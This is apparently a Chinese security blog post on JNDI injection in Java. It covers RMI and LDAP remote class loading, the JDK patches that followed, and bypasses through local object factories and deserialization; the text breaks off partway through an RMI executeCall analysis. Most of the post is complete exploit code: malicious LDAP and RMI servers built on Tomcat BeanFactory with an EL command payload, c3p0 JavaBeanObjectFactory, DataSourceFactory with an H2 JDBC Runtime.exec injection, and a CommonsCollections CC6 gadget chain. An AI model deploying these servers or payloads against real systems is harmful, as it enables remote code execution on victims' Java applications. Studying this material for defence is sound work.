Skip to content

JavaSec 16- JNDI 那些事,高版本真的要告别了吗

约 6921 字大约 23 分钟

Java

2026-02-14

最近感觉运气不是很好,改改简历看看有无工作希望,看到一篇比较有意思的 JNDI 的新利用方式,想到我好像没有做过 JNDI 比较详细的分析,还记得一年半前配 LDAP 卡了半天不想学了,不知道最近有没有心情填上我之前 JDBC Attack 那些坑,我都忘了要写什么了

前言

JNDI 部分的修复和利用层出不穷,无论是结合各种原生反序列化、yaml 反序列化,或者是 JDBC 、SSTI 都有着不错的效果,从 jdk8 到现在jdk 20 的修复和绕过此起彼伏,感觉目前的文章都比较分散,所以整合一下

JNDI 支持的协议还是比较多的,dns、rmi、ldap、ldaps 等等

前置知识

RMI

RMI 是远程方法调用的简称,能够帮助我们查找并执行远程对象的方法。通俗地说,远程调用就象将一个 class 放在 A 机器上,然后在 B 机器中调用这个 class 的方法。

从客户端-服务器模型来看,客户端程序直接调用服务端,两者之间是通过 JRMP(Java Remote Method Protocol)协议通信,这个协议类似于 HTTP 协议,规定了客户端和服务端通信要满足的规范。

LDAP

LDAP 是轻量级目录访问协议的简称,能够帮助我们从目录服务数据库中查询并检索信息。通俗地说,目录调用就象将一个电子版的“黄页电话本”放在 A 机器上,然后在 B 机器中通过姓名或属性快速查找并获取对应的信息。

是运行在 TCP/IP 协议栈上的一种用于访问和维护分布式目录信息服务的应用协议。这些目录服务可以运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。Java LDAP 这种目录访问特性使 Java 编程人员能够在网络环境中高效地管理组织结构、用户权限以及资源定位。LDAP 全部的宗旨就是提供一种工业标准的、跨平台的、且比传统数据库更快速读取的目录查询方式。从客户端-服务器模型来看,客户端程序直接向服务端发送查询请求,两者之间通过特定的 LDAP 消息协议通信,这个协议规定了客户端如何对目录中的条目进行增删改查等操作。

可以直接用 java 搭一个 ldap https://docs.ldap.com/ldap-sdk/docs/javadoc/index.html

<dependencies>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>6.0.0</version>
    </dependency>
</dependencies>
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


public class LDAP_Server {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Reference

在正式分析前先简单说一下关于 Reference 的内容,在 JNDI 的设计中,并非所有对象都能直接存储在目录服务(如 LDAP 或 RMI Registry)中。

  • 有些对象太大,不适合序列化传输。
  • 有些对象是动态的(如数据库连接池),需要现场创建。

为了解决这个问题,Java 引入了 Reference 机制,在 javax.naming.Reference 源码中他构建起来类似这样

public class Reference implements Cloneable, java.io.Serializable {    
    protected String className; // 想要加载的 Class 类名
    protected Vector<RefAddr> addrs = null;   
    protected String classFactory = null;
    protected String classFactoryLocation = null; // 远程加载服务器
    public Reference(String className, String factory, String factoryLocation) {
        this.className  = className;
        addrs = new Vector<>();
        classFactory = factory;
        classFactoryLocation = factoryLocation;    
    }    // ... 其他
}

在 JNDI 过程中这样就可能返回一个 Reference,在 RMI 中, Reference 类是从远程 RMI 服务器去获取的, 而 LDAP 的 Reference 对象是自己创建的

new InitialContext().lookup("xxx")

这里通过传统老版本的 jdk 8u65 演示一下如何进行远程类加载

rmi

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:8085/mbwNhIrI");
    }
}

现在都不用手搓服务端了,让我们打开 yakit 直接开一个反连,然后开调简单看一下

image-20260207211147209

RegistryContext.lookup

image-20260207211903284

decodeObject

image-20260207212015211

getObjectInstance

image-20260207212904993

跟进看一下内部获取对象的过程

image-20260207213011486

很明显先去看本地有没有对应的类,没有的话就去 codebase 中加载,最后再去 clas.newInstance() 实例化

image-20260207213646222

这里如果我们执行写在 static 里面就会在这一步触发了,如果写在构造方法就会在下面的那个实例化去触发

javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464)
com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
javax.naming.InitialContext.lookup(InitialContext.java:417)
low.JNDI_Test.main(JNDI_Test.java:10)

总结下来也就是

Lookup: 受害者连接攻击者的 RMI Registry。

Return: 攻击者的 RMI Registry 不返回序列化对象,而是返回上述的 ReferenceWrapper (对 Reference 的封装)。

Decode: 受害者的 JNDI 客户端接收到 Reference 对象。

Process: JNDI 发现这是一个 Reference,于是试图还原对象。

  • 它读取 classFactory 字段(即 EvilObject)。
  • 它在本地找不到这个类。
  • 它读取 classFactoryLocation 字段(即 http://hacker-server.com/payload/)。

Remote Load: 受害者 JVM 向攻击者的 HTTP 服务器请求 EvilObject.class

Instantiate & RCE: 受害者加载并实例化 EvilObject,通常写在 static 块里面。

ldap

import javax.naming.InitialContext;

public class Ldap_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("ldap://127.0.0.1:8085/mbwNhIrI");
    }
}

依然是用上面的 yakit,开调,进到 p_lookup -> c_lookup 看到了和之前 rmi 相似的地方 DirectoryManager.getObjectInstance()

image-20260208130941144

还是进到 getObjectFactoryFromReference()

image-20260208131119024

后面和之前的逻辑一样,还是根据 codebase 去加载

image-20260208131324565

javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:160)
javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
javax.naming.InitialContext.lookup(InitialContext.java:417)
low.Ldap_Test.main(Ldap_Test.java:6)

第一个大更新与本地工厂绕过

于 8u121/7u131/6u141 引入 trustURLCodebase 这个参数的判断,防止 rmi 协议加载远程类,同时还引入了 ObjectInputFilter 以支持反序列化过滤器,并以此来对 rmi 协议中存在反序列化的地方进行过滤,这次更新也称为 JEP290( Java Enhancement Proposal 290: Filter Incoming Serialization Data)

com.sun.jndi.rmi.object.trustURLCodebase=false

于 11.0.1/8u191/7u201/6u211 引入,ldap稍晚一些,这也给后续 log4j2 留下了伏笔

com.sun.jndi.ldap.object.trustURLCodebase=false

image-20260208133309002

想办法绕过这个判断

  1. ref 为空
  2. ref.GetFactoryClassLocation() 为空
  3. trustURLCodebase 为 true

主要想办法 Ref.GetFactoryClassLocation() 返回空,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址,如果对应的 factory 是本地代码,则该值为空,也就是我们常见的去打一个本地工厂的绕过

利用本地的类进行利用,对于本地的类也是有要求的,这个类必须是个工厂类,该工厂类型必须实现 javax.naming.spi.ObjectFactory 接口,因为在 javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句对工厂类的实例对象进行了类型转换 return (clas != null) ? (ObjectFactory) clas.newInstance() : null; 并且该工厂类至少存在一个 getObjectInstance() 方法,最后其实原生的目前看起来没有,只能通过一些比如 tomcat 或者 c3p0 一些包内的 factory 去绕过,也称为 ObjectFactory 的绕过,这里写几个比较常见的,还有其他的利用就参考浅蓝之前写的吧

BeanFactory(rmi)

org.apache.naming.factory.BeanFactory,并且该类存在于Tomcat依赖包

这个绕过方法是基于 Tomcat7 以上版本 Tomcat8.5.79 以下版本的

Tomcat 版本太低,可能会没有 BeanFactory 这个类,Tomcat 版本太高, BeanFactory 代码被修复,无法实现攻击

<dependencies>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>8.5.0</version>
    </dependency>

    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper-el</artifactId>
        <version>8.5.0</version>
    </dependency>
</dependencies>

服务端,利用 EL 表达式

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {

    public static void main(String[] args) throws Exception{
        
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);

    }
}

使用了本地工厂去进行绕过,没什么好说的,正常调用 getObjectInstance 方法即可

JavaBeanObjectFactory(rmi)

为了方便后面直接打反序列化我们直接把 cc 也导入进来

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

暂时不是很想分析这个,同样是一个打本地工厂的 rmi 绕过,只不过是构造上特殊了一些

服务端,poc String 填一个十六进制的反序列化的链子就好

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JavaBeanObjectFactoryRmi {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
                "com.mchange.v2.naming.JavaBeanObjectFactory", null);

        String poc = "";

        ref.add(new StringRefAddr("userOverridesAsString", "HexAsciiSerializedMap:" +poc+";"));
        Registry registry = LocateRegistry.createRegistry(7777);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("KaADtxYx", referenceWrapper);
    }
}

DataSourceFactory(ldap)

先给出环境配置以及 poc,主要打的还是 tomcat jdbc +h2 RCE,也就是24年京麒 CTF 的题目环境

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.83</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jdbc</artifactId>
    <version>9.0.83</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper-el</artifactId>
    <version>9.0.83</version>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>2.1.214</version>
</dependency>
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Properties;

public class DataSourceFactoryLDAP {
    public static void main(String[] args) {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    1389,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("[LDAP] Listening on 0.0.0.0:1389");
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
            String base = searchResult.getRequest().getBaseDN();
            Entry e = new Entry(base);
            e.addAttribute("objectClass","javaNamingReference");
            e.addAttribute("javaClassName", "javax.sql.DataSource");
            e.addAttribute("javaFactory","org.apache.tomcat.jdbc.pool.DataSourceFactory");
            String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')";
            e.addAttribute("javaReferenceAddress",new String[]{"/0/url/"+JDBC_URL,"/1/driverClassName/org.h2.Driver","/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"});

            try {
                searchResult.sendSearchEntry(e);
                searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    }
}

看一下 ldap 是怎么 decodeObject 的,最上面这个就是 ldap 特有的能携带反序列化数据去打的特性(这个低版本还没有修复这里),但我们这里先尝试本地工厂绕过,正常打低版本的远程加载是走第三个分支

    static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])var1.get(), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

关注一下 decodeRmiObject ,只返回了 javaClassName ,javaRemoteLocation 没有我们想要的 factory 所以打不了

private static Object decodeRmiObject(String var0, String var1, String[] var2) throws NamingException {
    return new Reference(var0, new StringRefAddr("URL", var1));
}

继续看第三个分支的 decodeReference,需要满足 attrs["objectClass"]=="javaNamingReference" ,需要在 ldapserver 端塞进去

这里会 new 一个 Reference 最后返回

image-20260212180750753

进到后面 DirectoryManager.getObjectInstance 加载我们的 factory

image-20260212180954143

image-20260212172618426

利用 javaReferenceAddress 的一个解析操作,把

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));

变成了数组

String[] javaReferenceAddress = {"/0/driverClassName/org.h2.Driver", "/1/url/JDBC_URL", "/2/username/root", "/3/password/password", "/4/initialSize/1", "/5/init/true"};

最后触发 DataSource 的 getObjectInstance 去触发 h2 RCE

image-20260212172922324

org.apache.tomcat.jdbc.pool.DataSourceFactory.createDataSource(DataSourceFactory.java:562)
org.apache.tomcat.jdbc.pool.DataSourceFactory.getObjectInstance(DataSourceFactory.java:244)
javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:193)
com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1114)
com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220)
com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
javax.naming.InitialContext.lookup(InitialContext.java:409)

第二个大更新

trustSerialData = false

在 jdk11中,新增了 com.sun.jndi.ldap.object.trustSerialData 开关,但一直默认为 true,一直到 jdk20,才改为默认为false。它影响着rmi和ldap的大多数反序列化入口。

先来看一下老版本这个是如何打的,记得提前加个 cc 依赖进去,将序列化值放入 ByteArrayOutputStream 这个数组中, 然后使用 ByteArrayOutputStream 导出的结果绑定在 javaSerializedData 属性中即可

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.unboundid.ldap.sdk.Attribute;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.util.HashMap;

public class DeserLdapServer {
    public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1"; // 配置 IP
        Integer port = 3890; // 配置端口
        InMemoryDirectoryServer server = initServer(ip, port); // 初始化服务器
        addEntry(server); // 进行添加条目等操作.
        System.out.println("LDAP Listening...");
    }

    public static InMemoryDirectoryServer initServer(String ip, Integer port) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=heihu577,dc=com"); // 创建 DC
        config.setSchema(null);
        // 配置监听器
        InMemoryListenerConfig listenConfig = new InMemoryListenerConfig(
                "ldap",
                InetAddress.getByName(ip), // 监听 IP
                port, // 监听端口
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        );
        config.setListenerConfigs(listenConfig); // 将配置信息放入进来

        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        ds.startListening(); // 创建并启动 LDAP 服务器
        return ds;
    }

    public static void addEntry(InMemoryDirectoryServer server) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(CC6("calc"));
        server.add("dc=heihu577,dc=com",
                new Attribute("javaClassName", "任意值"),
                new Attribute("objectClass", "javaNamingReference"),
                new Attribute("javaSerializedData", byteArrayOutputStream.toByteArray()), // 反序列化链路
                new Attribute("javaFactory", "任意值")
        );
    }

    public static Object CC6(String cmd) throws Exception {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{cmd}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
        HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
        hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
        Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
        lazyMapDst.setAccessible(true);
        lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
        return hsMap;
    }
}
import javax.naming.InitialContext;

public class Ldap_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("ldap://127.0.0.1:3890/dc=heihu577,dc=com");
    }
}

调一下看看,其实就是进 decodeObject 我们之前说的那个分支一

image-20260213120455988

image-20260213120519740

image-20260213202633840

绕过也没什么太好的方法,之前 DataSource 那种 Objectfactory 已经算是不错的

第三个大更新

于 JDK20 引入防止非内置 ObjectFactory 的过滤器,其实现在 oraclejdk 8u471/11.0.29/17.0.17 也开始修复了

jdk.jndi.rmi.object.factoriesFilter=com.sun.jndi.rmi.**;
jdk.jndi.ldap.object.factoriesFilter=com.sun.jndi.ldap.**;

默认只允许使用 jdk 原生的 ObjectFactory,第三方 ObjectFactory bypass 不可行了,目前为止唯一的漏网之鱼是 rmi 协议中的StreamRemoteCall.executeCall(),这个直接放在下一章节写

JNDI + RMI 二次反序列化

为了这盘醋包的饺子,现在终于到饺子的部分了,要理解这个我们需要先深入 RMI 通信过程,呃上次学这个还是一年半前,全都忘记了,尽量精炼重要部分吧

RMI 原理简述

  1. Stub(客户端代理):客户端的本地代理,将方法调用转换为网络请求并处理返回结果。
  2. Skeleton(服务端代理):服务端的接收者,解析请求并调用实际远程对象的方法。
  3. RemoteRef(远程引用层):管理远程对象的引用和通信细节。
  4. RemoteCall(远程调用对象):封装远程调用的传输内容,负责网络数据交换。

具体流程:

  1. 初始化
    • 服务端注册远程对象:服务端创建对象实例(继承 java.rmi.Remote),通过 Naming.rebind()Registry.bind() 将远程对象绑定至 RMI 注册表(Registry),注册表默认监听端口 1099
    • 客户端获取远程引用:客户端调用 Naming.lookup("rmi://host:port/service"),触发 RMI 注册表查询。注册表返回远程对象的 Stub(动态生成的代理类,RegistryImpl_Stub),Stub 封装了远程对象的方法元数据和网络地址。
  2. 远程方法调用
    • Stub 发起调用:客户端调用 Stub 的远程方法,Stub 委托 RemoteRef(远程引用层,如 UnicastRef)构建 RemoteCall 对象(包括:目标方法的方法名,参数类型和 序列化后的方法参数)。
    • 传输RemoteRef 通过 Socket 连接将 RemoteCall 的序列化字节流发送至服务端。
  3. 服务端处理
    • Skeleton 处理请求:服务端 RemoteRef(如 UnicastServerRef)接收字节流,第一次反序列化( 解析字节流的协议头部 ,确定目标对象标识符(ObjID)和操作类型)后生成 RemoteCall 对象。将 RemoteCall 传递给对应的 Skeleton(如 RegistryImpl_Skel)。Skeleton 通过 dispatch() 方法进行 二次反序列化( 按协议规范逐层解析字节流 )解析请求类型(如 bindlistlookuprebindunbind 或方法调用)
    • 反射执行真实方法:Skeleton 从 RemoteCall 中提取方法签名和参数,通过 Java 反射机制调用服务端实现类的对应方法。
  4. 结果返回
    • 序列化与回传:服务端将方法执行结果(或异常)序列化,封装为新的 RemoteCall 对象,通过 Socket 连接将结果字节流返回客户端。
    • 客户端反序列化:客户端 RemoteRef 接收字节流,反序列化为 Java 对象。若结果为远程对象引用(如另一服务的 Stub),客户端后续通过该 Stub 发起嵌套调用。

概括

整个 RMI 通信过程可以概括为:客户端调用 Stub => Stub 打包消息 => Stub 发送消息 => 服务端 Skeleton 接收消息 => Skeleton 解包消息 => Skeleton 调用远程对象 => 远程对象执行方法 => 远程对象返回结果 => Skeleton 打包结果 => Skeleton 发送结果 => 客户端 Stub 接收结果 => Stub 解包结果 => 客户端获得最终结果。

这里直接使用最新的 jdk8u471 来调试

当我们使用 rmi 协议攻击时,会走到 RegistryImpl_Stub#lookup

image-20260215125706841

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
            StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var15) {
                throw new MarshalException("error marshalling arguments", var15);
            }

            this.ref.invoke(var2);

            Remote var20;
            try {
                ObjectInput var4 = var2.getInputStream();
                var20 = (Remote)var4.readObject();
            } catch (IOException | ClassNotFoundException | ClassCastException var13) {
                var2.discardPendingRefs();
                throw new UnmarshalException("error unmarshalling return", var13);
            } finally {
                this.ref.done(var2);
            }

            return var20;
        } catch (RuntimeException var16) {
            throw var16;
        } catch (RemoteException var17) {
            throw var17;
        } catch (NotBoundException var18) {
            throw var18;
        } catch (Exception var19) {
            throw new UnexpectedException("undeclared checked exception", var19);
        }
    }

可以看到 var20 = (Remote)var4.readObject(); 有一个反序列化操作,这里有没有可能直接触发呢,毕竟也没有 filter 什么的限制

我们跟进到 this.ref.invoke(var2); 看一些里面核心 executeCall() 的实现

// sun.rmi.transport.StreamRemoteCall.executeCall()
public void executeCall() throws Exception {
    DGCAckHandler var2 = null;
    byte var1; // 用于存储“返回类型” (1=正常, 2=异常)

    try {
        // --- 1. 发送请求阶段 ---
        // 如果有 DGC (分布式垃圾回收) 的 ACK 处理器,先获取它
        // DGC 是 RMI 保持对象引用的机制,JRMPListener 攻击常利用 DGC 触发回调,这个在之前被利用去绕过但是现在修复了
        if (this.out != null) {
            var2 = this.out.getDGCAckHandler();
        }
        
        this.releaseOutputStream();

        // --- 2. 接收响应头阶段 ---
        // 开始读取服务端的响应流
        DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
        
        // 读取 1 个字节:传输层返回码 (Transport Return Code)
        byte var4 = var3.readByte();
        
        // 81 (十六进制 0x51) 对应 TransportConstants.Return
        // 这表示服务端成功接收了请求,现在开始返回结果
        if (var4 != 81) {
            // 如果不是 81,说明底层传输协议出错了
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
            }
            throw new UnmarshalException("Transport return code invalid");
        }

        // 获取反序列化专用的输入流 (ConnectionInputStream)
        // 这一步通常会建立 ObjectInputStream
        this.getInputStream();

        // 读取 1 个字节:结果返回类型 (Return Type)
        // 这里的 var1 决定了后面是正常反序列化返回值,还是反序列化异常
        var1 = this.in.readByte();
        
        this.in.readID();
        
    } catch (UnmarshalException var11) {
        throw var11;
    } catch (IOException var12) {
        throw new UnmarshalException("Error unmarshaling return header", var12);
    } finally {
        // 清理 DGC ACK 处理器
        if (var2 != null) {
            var2.release();
        }
    }

    // --- 3. 处理响应结果阶段 (关键漏洞点) ---
    switch (var1) {
        case 1: 
            // 1 对应 TransportConstants.NormalReturn
            // 表示方法执行成功,也是之前常用的方法会走到这里
            // 此时方法直接 return,调用者后续会调用 in.readObject() 来获取真正的返回值
            return;
            
        case 2: 
            // 2 对应 TransportConstants.ExceptionalReturn
            Object var14;
            try {
